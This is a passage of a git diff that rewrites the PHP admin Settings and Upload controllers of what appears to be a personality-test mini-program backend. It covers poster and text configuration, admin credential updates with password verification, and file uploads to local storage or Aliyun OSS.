= $row ?: ['bgColor' => '#ffffff', 'bgImage' => '', 'elements' => []]; - return success(['poster' => $poster]); - } - - /** - * 保存海报配置 - * PUT /api/v1/admin/settings/poster - */ - public function updatePosterConfig() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - $input = json_decode($this->request->getContent(), true); - if (!is_array($input)) { - $input = []; - } - $data = [ - 'bgColor' => $input['bgColor'] ?? '#ffffff', - 'bgImage' => $input['bgImage'] ?? '', - 'elements' => $input['elements'] ?? [] - ]; - $eid = (int)($user['enterpriseId'] ?? 0); - - try { - self::saveConfig('poster_config', $data, $eid, '分销海报可视化配置'); - return success(null, '海报配置已保存'); - } catch (\Exception $e) { - return error('保存失败:' . $e->getMessage(), 500); - } - } - - /** - * 读取配置:key + enterprise_id,有企业专属则取,否则降级到 enterprise_id=0 - */ - private static function getConfig(string $key, int $enterpriseId = 0, bool $fallbackGlobal = false): ?array - { - $row = Db::name('system_config') - ->where('key', $key) - ->where('enterprise_id', $enterpriseId) - ->find(); - if ($row && !empty($row['value'])) { - $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value']; - if (is_array($val)) return $val; - } - if ($fallbackGlobal && $enterpriseId > 0) { - $row = Db::name('system_config') - ->where('key', $key) - ->where('enterprise_id', 0) - ->find(); - if ($row && !empty($row['value'])) { - $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value']; - if (is_array($val)) return $val; - } - } - return null; - } - - /** - * 保存配置:key + enterprise_id,存在则 update,否则 insert - */ - private static function saveConfig(string $key, array $value, int $enterpriseId = 0, string $description = ''): void - { - $now = time(); - $json = json_encode($value, JSON_UNESCAPED_UNICODE); - $exists = Db::name('system_config') - ->where('key', $key) - ->where('enterprise_id', $enterpriseId) - ->find(); - if ($exists) { - Db::name('system_config') - ->where('key', $key) - ->where('enterprise_id', $enterpriseId) - ->update(['value' => $json, 'updatedAt' => $now]); - } else { - Db::name('system_config')->insert([ - 'key' => $key, - 'enterprise_id' => $enterpriseId, - 'value' => $json, - 'description' => $description, - 'createdAt' => $now, - 'updatedAt' => $now, - ]); - } - } - - /** - * 安全解码 JSON(处理可能的多重编码) - */ - private static function decodeJsonSafe($raw): ?array - { - if (!$raw) return null; - $val = $raw; - for ($i = 0; $i < 5 && is_string($val); $i++) { - $decoded = json_decode($val, true); - if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; - $val = $decoded; - } - return is_array($val) ? $val : null; - } - - /** - * 获取小程序配置 - * 读取全局 text_config(enterprise_id=0)作为默认值,再用企业专属行覆盖 - * GET /api/v1/admin/settings/miniprogram - */ - public function getMiniprogramConfig() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - try { - $eid = (int)($user['enterpriseId'] ?? 0); - - // 全局小程序名称(仅超管可改,此处只读) - $miniprogramName = '神仙团队AI性格测试'; - $siteInfo = Db::name('system_config') - ->where('key', 'site_info') - ->where('enterprise_id', 0) - ->find(); - if ($siteInfo && !empty($siteInfo['value'])) { - $val = is_string($siteInfo['value']) ? json_decode($siteInfo['value'], true) : $siteInfo['value']; - $miniprogramName = (string) ($val['miniprogramName'] ?? $val['siteName'] ?? $miniprogramName); - } - - $tcDefaults = [ - 'analyzingTitle' => '正在分析中', - 'startButtonText' => '开始面相测试', - 'startButtonEnterprise' => '开始面部测试', - 'reportTitle' => '分析报告', - 'aiAnalysisText' => '智能分析', - ]; - - // 全局文案(enterprise_id=0)作为基础 - $globalTc = self::getConfig('text_config', 0); - $textConfigData = $globalTc - ? array_merge($tcDefaults, array_intersect_key($globalTc, $tcDefaults)) - : $tcDefaults; - - // 企业专属文案 + 小程序名称 覆盖 - if ($eid > 0) { - $eidTc = self::getConfig('text_config', $eid); - if ($eidTc) { - $textConfigData = array_merge($textConfigData, array_intersect_key($eidTc, $tcDefaults)); - if (!empty($eidTc['miniprogramName'])) { - $miniprogramName = (string) $eidTc['miniprogramName']; - } - } - } - - return success([ - 'miniprogramName' => $miniprogramName, - 'textConfig' => $textConfigData, - ]); - } catch (\Exception $e) { - return error('获取配置失败:' . $e->getMessage(), 500); - } - } - - /** - * 更新小程序配置 - * 写入 text_config 行:enterprise_id={eid}(有企业)或 0(无企业) - * PUT /api/v1/admin/settings/miniprogram - */ - public function updateMiniprogramConfig() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - $rawBody = $this->request->getContent(); - if (empty($rawBody)) { - $rawBody = file_get_contents('php://input'); - } - $input = $rawBody ? json_decode($rawBody, true) : null; - if (!is_array($input)) { - $input = [ - 'miniprogramName' => Request::param('miniprogramName', ''), - 'textConfig' => Request::param('textConfig', []), - ]; - } - - $miniprogramName = trim((string) ($input['miniprogramName'] ?? '')); - $textConfig = $input['textConfig'] ?? []; - - if ($miniprogramName === '') { - return error('小程序名称不能为空', 400); - } - - $tcKeys = ['analyzingTitle', 'startButtonText', 'startButtonEnterprise', 'reportTitle', 'aiAnalysisText']; - $tcDefaults = [ - 'analyzingTitle' => '正在分析中', - 'startButtonText' => '开始面相测试', - 'startButtonEnterprise' => '开始面部测试', - 'reportTitle' => '分析报告', - 'aiAnalysisText' => '智能分析', - ]; - $tcData = is_array($textConfig) ? array_intersect_key($textConfig, array_flip($tcKeys)) : []; - $tcMerge = array_merge($tcDefaults, $tcData); - $eid = (int)($user['enterpriseId'] ?? 0); - - try { - // eid=0:更新 site_info 的小程序名称(全局) - if ($eid === 0) { - $siteRow = Db::name('system_config')->where('key', 'site_info')->where('enterprise_id', 0)->find(); - $siteInfo = $siteRow && !empty($siteRow['value']) - ? (is_string($siteRow['value']) ? json_decode($siteRow['value'], true) : $siteRow['value']) - : []; - $siteInfo = is_array($siteInfo) ? $siteInfo : []; - $siteInfo['miniprogramName'] = $miniprogramName; - $siteInfo['siteName'] = $siteInfo['siteName'] ?? $miniprogramName; - $siteInfo['updatedAt'] = time(); - self::saveConfig('site_info', $siteInfo, 0, '站点信息'); - } else { - // 企业专属:把 miniprogramName 一并写入 text_config - $tcMerge['miniprogramName'] = $miniprogramName; - } - - // 统一写到 text_config(企业行已含 miniprogramName,全局行不含) - self::saveConfig('text_config', $tcMerge, $eid, $eid > 0 ? "小程序文案配置(企业{$eid})" : '小程序文案配置(全局)'); - return success([ - 'miniprogramName' => $miniprogramName, - 'textConfig' => $tcMerge, - ], '小程序配置已保存'); - } catch (\Exception $e) { - return error('保存失败:' . $e->getMessage(), 500); - } - } - - /** - * 更新管理员账户信息 - * @return \think\response\Json - */ - public function updateCredentials() - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 验证是否为管理员 - if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - // 兼容 axios JSON PUT 与表单提交 - $rawBody = $this->request->getContent(); - if (empty($rawBody)) { - $rawBody = file_get_contents('php://input'); - } - $input = $rawBody ? json_decode($rawBody, true) : null; - if (!is_array($input)) { - $input = []; - } - - $username = trim((string)($input['username'] ?? Request::param('username', ''))); - $currentPassword = (string)($input['currentPassword'] ?? Request::param('currentPassword', '')); - $newPassword = (string)($input['newPassword'] ?? Request::param('newPassword', '')); - $confirmPassword = (string)($input['confirmPassword'] ?? Request::param('confirmPassword', '')); - - if (empty($username)) { - return error('用户名不能为空', 400); - } - - try { - // 优先使用JWT中的username来查找用户 - $jwtUsername = $user['username'] ?? null; - - if (empty($jwtUsername)) { - return error('无法获取用户信息,请重新登录', 400); - } - - // 直接通过username查找用户 - $userModel = UserModel::where('username', $jwtUsername) - ->whereIn('role', ['admin', 'enterprise_admin']) - ->find(); - - if (!$userModel) { - return error('用户不存在,请检查登录状态', 404); - } - - // 如果要修改密码,需要验证当前密码 - if (!empty($newPassword)) { - if (empty($currentPassword)) { - return error('请输入当前密码', 400); - } - - if ($newPassword !== $confirmPassword) { - return error('两次输入的密码不一致', 400); - } - - // 验证当前密码(User 模型已有原始加密密码) - if (!password_verify($currentPassword, $userModel->password)) { - return error('当前密码错误', 400); - } - - // 更新密码:传入明文,交由 User 模型的 setPasswordAttr 自动加密 - $userModel->password = $newPassword; - } - - // 更新用户名 - if ($username !== $userModel->username) { - // 检查用户名是否已存在(排除当前用户) - $exists = UserModel::where('username', $username) - ->where('id', '<>', $userModel->id) - ->find(); - - if ($exists) { - return error('用户名已存在', 400); - } - - $userModel->username = $username; - } - - $userModel->save(); - - return success([ - 'username' => $userModel->username - ], '账户信息已更新'); - } catch (\Exception $e) { - return error('更新失败:' . $e->getMessage(), 500); - } - } -} - +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + // 获取当前管理员用户名 + $jwtUsername = $user['username'] ?? null; + $username = 'admin'; + + if ($jwtUsername) { + $currentUser = UserModel::where('username', $jwtUsername) + ->whereIn('role', ['admin', 'enterprise_admin']) + ->find(); + if ($currentUser) { + $username = $currentUser->username; + } else { + $username = $jwtUsername; + } + } + + return success([ + 'username' => $username + ]); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取可用字体列表 + * GET /api/v1/admin/settings/fonts + */ + public function getFonts() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + $fonts = \app\common\service\PosterService::getAvailableFonts(); + return success([ + 'fonts' => $fonts, + 'fontDir' => root_path() . 'public/fonts/', + 'dirExist' => is_dir(root_path() . 'public/fonts/'), + ]); + } + + /** + * 获取海报配置 + * GET /api/v1/admin/settings/poster + * 有 enterpriseId 则读企业专属行,否则读全局(enterprise_id=0) + */ + public function getPosterConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $eid = (int)($user['enterpriseId'] ?? 0); + $row = self::getConfig('poster_config', $eid); + $poster = $row ?: ['bgColor' => '#ffffff', 'bgImage' => '', 'elements' => []]; + return success(['poster' => $poster]); + } + + /** + * 保存海报配置 + * PUT /api/v1/admin/settings/poster + */ + public function updatePosterConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $input = json_decode($this->request->getContent(), true); + if (!is_array($input)) { + $input = []; + } + $data = [ + 'bgColor' => $input['bgColor'] ?? '#ffffff', + 'bgImage' => $input['bgImage'] ?? '', + 'elements' => $input['elements'] ?? [] + ]; + $eid = (int)($user['enterpriseId'] ?? 0); + + try { + self::saveConfig('poster_config', $data, $eid, '分销海报可视化配置'); + return success(null, '海报配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 读取配置:key + enterprise_id,有企业专属则取,否则降级到 enterprise_id=0 + */ + private static function getConfig(string $key, int $enterpriseId = 0, bool $fallbackGlobal = false): ?array + { + $row = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($row && !empty($row['value'])) { + $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value']; + if (is_array($val)) return $val; + } + if ($fallbackGlobal && $enterpriseId > 0) { + $row = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', 0) + ->find(); + if ($row && !empty($row['value'])) { + $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value']; + if (is_array($val)) return $val; + } + } + return null; + } + + /** + * 保存配置:key + enterprise_id,存在则 update,否则 insert + */ + private static function saveConfig(string $key, array $value, int $enterpriseId = 0, string $description = ''): void + { + $now = time(); + $json = json_encode($value, JSON_UNESCAPED_UNICODE); + $exists = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($exists) { + Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->update(['value' => $json, 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => $key, + 'enterprise_id' => $enterpriseId, + 'value' => $json, + 'description' => $description, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + } + + /** + * 安全解码 JSON(处理可能的多重编码) + */ + private static function decodeJsonSafe($raw): ?array + { + if (!$raw) return null; + $val = $raw; + for ($i = 0; $i < 5 && is_string($val); $i++) { + $decoded = json_decode($val, true); + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; + $val = $decoded; + } + return is_array($val) ? $val : null; + } + + /** + * 获取小程序配置 + * 读取全局 text_config(enterprise_id=0)作为默认值,再用企业专属行覆盖 + * GET /api/v1/admin/settings/miniprogram + */ + public function getMiniprogramConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + $eid = (int)($user['enterpriseId'] ?? 0); + + // 全局小程序名称(仅超管可改,此处只读) + $miniprogramName = '神仙团队AI性格测试'; + $siteInfo = Db::name('system_config') + ->where('key', 'site_info') + ->where('enterprise_id', 0) + ->find(); + if ($siteInfo && !empty($siteInfo['value'])) { + $val = is_string($siteInfo['value']) ? json_decode($siteInfo['value'], true) : $siteInfo['value']; + $miniprogramName = (string) ($val['miniprogramName'] ?? $val['siteName'] ?? $miniprogramName); + } + + $tcDefaults = [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析', + ]; + + // 全局文案(enterprise_id=0)作为基础 + $globalTc = self::getConfig('text_config', 0); + $textConfigData = $globalTc + ? array_merge($tcDefaults, array_intersect_key($globalTc, $tcDefaults)) + : $tcDefaults; + + // 企业专属文案 + 小程序名称 覆盖 + if ($eid > 0) { + $eidTc = self::getConfig('text_config', $eid); + if ($eidTc) { + $textConfigData = array_merge($textConfigData, array_intersect_key($eidTc, $tcDefaults)); + if (!empty($eidTc['miniprogramName'])) { + $miniprogramName = (string) $eidTc['miniprogramName']; + } + } + } + + return success([ + 'miniprogramName' => $miniprogramName, + 'textConfig' => $textConfigData, + ]); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新小程序配置 + * 写入 text_config 行:enterprise_id={eid}(有企业)或 0(无企业) + * PUT /api/v1/admin/settings/miniprogram + */ + public function updateMiniprogramConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = [ + 'miniprogramName' => Request::param('miniprogramName', ''), + 'textConfig' => Request::param('textConfig', []), + ]; + } + + $miniprogramName = trim((string) ($input['miniprogramName'] ?? '')); + $textConfig = $input['textConfig'] ?? []; + + if ($miniprogramName === '') { + return error('小程序名称不能为空', 400); + } + + $tcKeys = ['analyzingTitle', 'startButtonText', 'startButtonEnterprise', 'reportTitle', 'aiAnalysisText']; + $tcDefaults = [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析', + ]; + $tcData = is_array($textConfig) ? array_intersect_key($textConfig, array_flip($tcKeys)) : []; + $tcMerge = array_merge($tcDefaults, $tcData); + $eid = (int)($user['enterpriseId'] ?? 0); + + try { + // eid=0:更新 site_info 的小程序名称(全局) + if ($eid === 0) { + $siteRow = Db::name('system_config')->where('key', 'site_info')->where('enterprise_id', 0)->find(); + $siteInfo = $siteRow && !empty($siteRow['value']) + ? (is_string($siteRow['value']) ? json_decode($siteRow['value'], true) : $siteRow['value']) + : []; + $siteInfo = is_array($siteInfo) ? $siteInfo : []; + $siteInfo['miniprogramName'] = $miniprogramName; + $siteInfo['siteName'] = $siteInfo['siteName'] ?? $miniprogramName; + $siteInfo['updatedAt'] = time(); + self::saveConfig('site_info', $siteInfo, 0, '站点信息'); + } else { + // 企业专属:把 miniprogramName 一并写入 text_config + $tcMerge['miniprogramName'] = $miniprogramName; + } + + // 统一写到 text_config(企业行已含 miniprogramName,全局行不含) + self::saveConfig('text_config', $tcMerge, $eid, $eid > 0 ? "小程序文案配置(企业{$eid})" : '小程序文案配置(全局)'); + return success([ + 'miniprogramName' => $miniprogramName, + 'textConfig' => $tcMerge, + ], '小程序配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新管理员账户信息 + * @return \think\response\Json + */ + public function updateCredentials() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + // 兼容 axios JSON PUT 与表单提交 + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = []; + } + + $username = trim((string)($input['username'] ?? Request::param('username', ''))); + $currentPassword = (string)($input['currentPassword'] ?? Request::param('currentPassword', '')); + $newPassword = (string)($input['newPassword'] ?? Request::param('newPassword', '')); + $confirmPassword = (string)($input['confirmPassword'] ?? Request::param('confirmPassword', '')); + + if (empty($username)) { + return error('用户名不能为空', 400); + } + + try { + // 优先使用JWT中的username来查找用户 + $jwtUsername = $user['username'] ?? null; + + if (empty($jwtUsername)) { + return error('无法获取用户信息,请重新登录', 400); + } + + // 直接通过username查找用户 + $userModel = UserModel::where('username', $jwtUsername) + ->whereIn('role', ['admin', 'enterprise_admin']) + ->find(); + + if (!$userModel) { + return error('用户不存在,请检查登录状态', 404); + } + + // 如果要修改密码,需要验证当前密码 + if (!empty($newPassword)) { + if (empty($currentPassword)) { + return error('请输入当前密码', 400); + } + + if ($newPassword !== $confirmPassword) { + return error('两次输入的密码不一致', 400); + } + + // 验证当前密码(User 模型已有原始加密密码) + if (!password_verify($currentPassword, $userModel->password)) { + return error('当前密码错误', 400); + } + + // 更新密码:传入明文,交由 User 模型的 setPasswordAttr 自动加密 + $userModel->password = $newPassword; + } + + // 更新用户名 + if ($username !== $userModel->username) { + // 检查用户名是否已存在(排除当前用户) + $exists = UserModel::where('username', $username) + ->where('id', '<>', $userModel->id) + ->find(); + + if ($exists) { + return error('用户名已存在', 400); + } + + $userModel->username = $username; + } + + $userModel->save(); + + return success([ + 'username' => $userModel->username + ], '账户信息已更新'); + } catch (\Exception $e) { + return error('更新失败:' . $e->getMessage(), 500); + } + } +} + diff --git a/api/app/controller/admin/Upload.php b/api/app/controller/admin/Upload.php index 0930d95..f5e7e93 100644 --- a/api/app/controller/admin/Upload.php +++ b/api/app/controller/admin/Upload.php @@ -1,347 +1,347 @@ -extension()); - $fileSize = $file->getSize(); - - if (!in_array($extension, $allowExts, true)) { - return error('不支持的文件类型,仅支持:jpg、jpeg、jfif、png、gif、webp、heic'); - } - - if ($fileSize > $maxSize) { - return error('文件过大,最大支持 5MB'); - } - - $config = config('upload'); - $driver = $config['driver'] ?? 'oss'; - - try { - if ($driver === 'oss') { - $result = $this->uploadToOss($file, $config['oss'] ?? []); - } else { - $result = $this->uploadToLocal($file, $config['local'] ?? []); - } - } catch (\Throwable $e) { - return error('上传失败:' . $e->getMessage()); - } - - return success($result, '上传成功'); - } - - /** - * 上传文件(简历等,可包含图片 / PDF / Word) - * @return \think\response\Json - */ - public function file() - { - $file = Request::file('file'); - - if (!$file) { - return error('未找到上传文件'); - } - - // 基本校验:大小 & 类型(放宽为 10MB) - $maxSize = 10 * 1024 * 1024; // 10MB - $allowExts = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx']; - $extension = strtolower($file->extension()); - $fileSize = $file->getSize(); - - if (!in_array($extension, $allowExts, true)) { - return error('不支持的文件类型,仅支持:jpg、jpeg、png、gif、webp、pdf、doc、docx'); - } - - if ($fileSize > $maxSize) { - return error('文件过大,最大支持 10MB'); - } - - $config = config('upload'); - $driver = $config['driver'] ?? 'oss'; - - try { - if ($driver === 'oss') { - $result = $this->uploadToOss($file, $config['oss'] ?? []); - } else { - $result = $this->uploadToLocal($file, $config['local'] ?? []); - } - } catch (\Throwable $e) { - return error('上传失败:' . $e->getMessage()); - } - - return success($result, '上传成功'); - } - - /** - * 本地上传 - */ - protected function uploadToLocal($file, array $config): array - { - $root = $config['root'] ?? (app()->getRootPath() . 'public/uploads'); - $driver = 'local'; - - // 先计算文件哈希,用于去重 - $hash = md5_file($file->getPathname()); - $mimeType = $this->getFileMimeSafe($file); - $size = $file->getSize(); - $extension = strtolower($file->extension()); - - // 如果已存在相同文件(同一驱动 + hash),直接返回 - $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find(); - if ($exists) { - return [ - 'path' => $exists->path, - 'url' => $exists->url, - 'id' => $exists->id, - ]; - } - - // 子目录:按 年/月 分目录,例如 2025/12 - $year = date('Y'); - $month = date('m'); - $subDir = $year . DIRECTORY_SEPARATOR . $month; - $dir = rtrim($root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $subDir; - - if (!is_dir($dir) && !mkdir($dir, 0755, true) && !is_dir($dir)) { - throw new \RuntimeException('创建上传目录失败'); - } - - $filename = uniqid('img_', true) . '.' . $extension; - - // 保存文件 - $file->move($dir, $filename); - - // web 访问路径使用 / 分隔,例如 uploads/2025/12/xxx.jpg - $relativePath = 'uploads/' . $year . '/' . $month . '/' . $filename; - $urlPrefix = rtrim($config['url'] ?? '', '/'); - - // 如果未配置,使用 API 域名(生产环境:api.737270.com) - if (!$urlPrefix) { - $apiDomain = env('API_DOMAIN', 'https://api.737270.com'); - $urlPrefix = rtrim($apiDomain, '/'); - } - - $url = $urlPrefix . '/' . $relativePath; - - // 记录上传信息 - $record = new UploadFile(); - $record->path = $relativePath; - $record->url = $url; - $record->driver = $driver; - $record->hash = $hash; - $record->size = $size; - $record->mimeType = $mimeType; - $record->extension = $extension; - $record->save(); - - return [ - 'path' => $relativePath, - 'url' => $url, - 'id' => $record->id, - ]; - } - - /** - * 上传到阿里云 OSS - * 完全参考 BaseCrawler.php 的实现 - */ - protected function uploadToOss($file, array $config): array - { - if (!class_exists('\OSS\OssClient')) { - throw new \RuntimeException('未安装 Aliyun OSS SDK,请先执行:composer require aliyuncs/oss-sdk-php'); - } - - // 参考 database.php 的配置读取方式,直接从 config 读取(config 已通过 env() 读取 .env) - $accessKeyId = $config['access_key_id'] ?? ''; - $accessKeySecret = $config['access_key_secret'] ?? ''; - $endpoint = $config['endpoint'] ?? ''; - $bucket = $config['bucket'] ?? ''; - $prefix = trim($config['prefix'] ?? 'mbti', '/'); - $baseUrl = rtrim($config['url'] ?? '', '/'); - - // 如果未配置 OSS_URL,自动使用 OSS 自带域名:https://{bucket}.{endpoint} - if (empty($baseUrl) && !empty($bucket) && !empty($endpoint)) { - // 移除 endpoint 中的协议前缀(如果有) - $endpointClean = preg_replace('#^https?://#', '', $endpoint); - $baseUrl = 'https://' . $bucket . '.' . $endpointClean; - } - - if (empty($accessKeyId) || empty($accessKeySecret) || empty($endpoint) || empty($bucket)) { - throw new \RuntimeException('OSS 配置不完整,请在 .env 文件中配置 OSS_ACCESS_KEY_ID、OSS_ACCESS_KEY_SECRET、OSS_ENDPOINT、OSS_BUCKET(OSS_URL 可选,不配置则使用 OSS 自带域名)'); - } - - $driver = 'oss'; - $extension = strtolower($file->extension()); - $hash = md5_file($file->getPathname()); - $size = $file->getSize(); - $mimeType = $this->getFileMimeSafe($file); - - // 先查重(完全参考 BaseCrawler.php) - try { - $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find(); - if ($exists) { - $tempFilePath = $file->getPathname(); - if (file_exists($tempFilePath)) { - @unlink($tempFilePath); - } - $latestUrl = $baseUrl . '/' . ltrim($exists->path, '/'); - if ($exists->url !== $latestUrl) { - $exists->url = $latestUrl; - $exists->save(); - } - return [ - 'path' => $exists->path, - 'url' => $latestUrl, - 'id' => $exists->id, - ]; - } - } catch (\Exception $e) { - // 查重失败不影响上传流程 - } - - $object = $prefix . '/' . date('Ymd') . '/' . uniqid('img_', true) . '.' . $extension; - - // 保存并临时清除代理设置(完全参考 BaseCrawler.php) - // 如果 putenv 函数可用则使用,否则跳过代理处理 - $putenvAvailable = function_exists('putenv'); - $originalHttpProxy = false; - $originalHttpsProxy = false; - $originalHttpProxyVar = false; - $originalHttpsProxyVar = false; - - if ($putenvAvailable) { - $originalHttpProxy = getenv('HTTP_PROXY'); - $originalHttpsProxy = getenv('HTTPS_PROXY'); - $originalHttpProxyVar = getenv('http_proxy'); - $originalHttpsProxyVar = getenv('https_proxy'); - - \putenv('HTTP_PROXY='); - \putenv('HTTPS_PROXY='); - \putenv('http_proxy='); - \putenv('https_proxy='); - } - - try { - $client = new \OSS\OssClient($accessKeyId, $accessKeySecret, $endpoint); - - if (!$client->doesBucketExist($bucket)) { - throw new \RuntimeException("OSS Bucket '{$bucket}' 不存在或无法访问"); - } - - $client->uploadFile($bucket, $object, $file->getPathname()); - } finally { - // 恢复代理设置(完全参考 BaseCrawler.php) - if ($putenvAvailable) { - if ($originalHttpProxy !== false) { - \putenv('HTTP_PROXY=' . $originalHttpProxy); - } else { - \putenv('HTTP_PROXY'); - } - if ($originalHttpsProxy !== false) { - \putenv('HTTPS_PROXY=' . $originalHttpsProxy); - } else { - \putenv('HTTPS_PROXY'); - } - if ($originalHttpProxyVar !== false) { - \putenv('http_proxy=' . $originalHttpProxyVar); - } else { - \putenv('http_proxy'); - } - if ($originalHttpsProxyVar !== false) { - \putenv('https_proxy=' . $originalHttpsProxyVar); - } else { - \putenv('https_proxy'); - } - } - } - - // 上传成功后,删除本地临时文件(完全参考 BaseCrawler.php) - $tempFilePath = $file->getPathname(); - if (file_exists($tempFilePath)) { - @unlink($tempFilePath); - } - - // 生成文件访问 URL(完全参考 BaseCrawler.php) - $ossUrl = $baseUrl . '/' . ltrim($object, '/'); - - // 记录上传信息(完全参考 BaseCrawler.php,try-catch 包裹) - try { - $record = new UploadFile(); - $record->path = $object; - $record->url = $ossUrl; - $record->driver = $driver; - $record->hash = $hash; - $record->size = $size; - $record->mimeType = $mimeType; - $record->extension = $extension; - $record->save(); - } catch (\Exception $e) { - // 记录失败不影响返回 URL - } - - return [ - 'path' => $object, - 'url' => $ossUrl, - 'id' => $record->id ?? 0, - ]; - } - - /** - * 安全获取文件 MIME:服务器未开 fileinfo 扩展时用扩展名推断,避免 finfo_open() 报错 - */ - protected function getFileMimeSafe($file): string - { - if (function_exists('finfo_open')) { - try { - return $file->getMime() ?: $this->mimeByExtension($file->extension()); - } catch (\Throwable $e) { - return $this->mimeByExtension($file->extension()); - } - } - return $this->mimeByExtension($file->extension()); - } - - private function mimeByExtension(string $ext): string - { - $ext = strtolower($ext ?: ''); - $map = [ - 'jpg' => 'image/jpeg', - 'jpeg' => 'image/jpeg', - 'jfif' => 'image/jpeg', - 'jpe' => 'image/jpeg', - 'png' => 'image/png', - 'gif' => 'image/gif', - 'webp' => 'image/webp', - 'bmp' => 'image/bmp', - 'heic' => 'image/heic', - 'heif' => 'image/heif', - 'pdf' => 'application/pdf', - 'doc' => 'application/msword', - 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', - ]; - return $map[$ext] ?? 'application/octet-stream'; - } -} +extension()); + $fileSize = $file->getSize(); + + if (!in_array($extension, $allowExts, true)) { + return error('不支持的文件类型,仅支持:jpg、jpeg、jfif、png、gif、webp、heic'); + } + + if ($fileSize > $maxSize) { + return error('文件过大,最大支持 5MB'); + } + + $config = config('upload'); + $driver = $config['driver'] ?? 'oss'; + + try { + if ($driver === 'oss') { + $result = $this->uploadToOss($file, $config['oss'] ?? []); + } else { + $result = $this->uploadToLocal($file, $config['local'] ?? []); + } + } catch (\Throwable $e) { + return error('上传失败:' . $e->getMessage()); + } + + return success($result, '上传成功'); + } + + /** + * 上传文件(简历等,可包含图片 / PDF / Word) + * @return \think\response\Json + */ + public function file() + { + $file = Request::file('file'); + + if (!$file) { + return error('未找到上传文件'); + } + + // 基本校验:大小 & 类型(放宽为 10MB) + $maxSize = 10 * 1024 * 1024; // 10MB + $allowExts = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx']; + $extension = strtolower($file->extension()); + $fileSize = $file->getSize(); + + if (!in_array($extension, $allowExts, true)) { + return error('不支持的文件类型,仅支持:jpg、jpeg、png、gif、webp、pdf、doc、docx'); + } + + if ($fileSize > $maxSize) { + return error('文件过大,最大支持 10MB'); + } + + $config = config('upload'); + $driver = $config['driver'] ?? 'oss'; + + try { + if ($driver === 'oss') { + $result = $this->uploadToOss($file, $config['oss'] ?? []); + } else { + $result = $this->uploadToLocal($file, $config['local'] ?? []); + } + } catch (\Throwable $e) { + return error('上传失败:' . $e->getMessage()); + } + + return success($result, '上传成功'); + } + + /** + * 本地上传 + */ + protected function uploadToLocal($file, array $config): array + { + $root = $config['root'] ?? (app()->getRootPath() . 'public/uploads'); + $driver = 'local'; + + // 先计算文件哈希,用于去重 + $hash = md5_file($file->getPathname()); + $mimeType = $this->getFileMimeSafe($file); + $size = $file->getSize(); + $extension = strtolower($file->extension()); + + // 如果已存在相同文件(同一驱动 + hash),直接返回 + $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find(); + if ($exists) { + return [ + 'path' => $exists->path, + 'url' => $exists->url, + 'id' => $exists->id, + ]; + } + + // 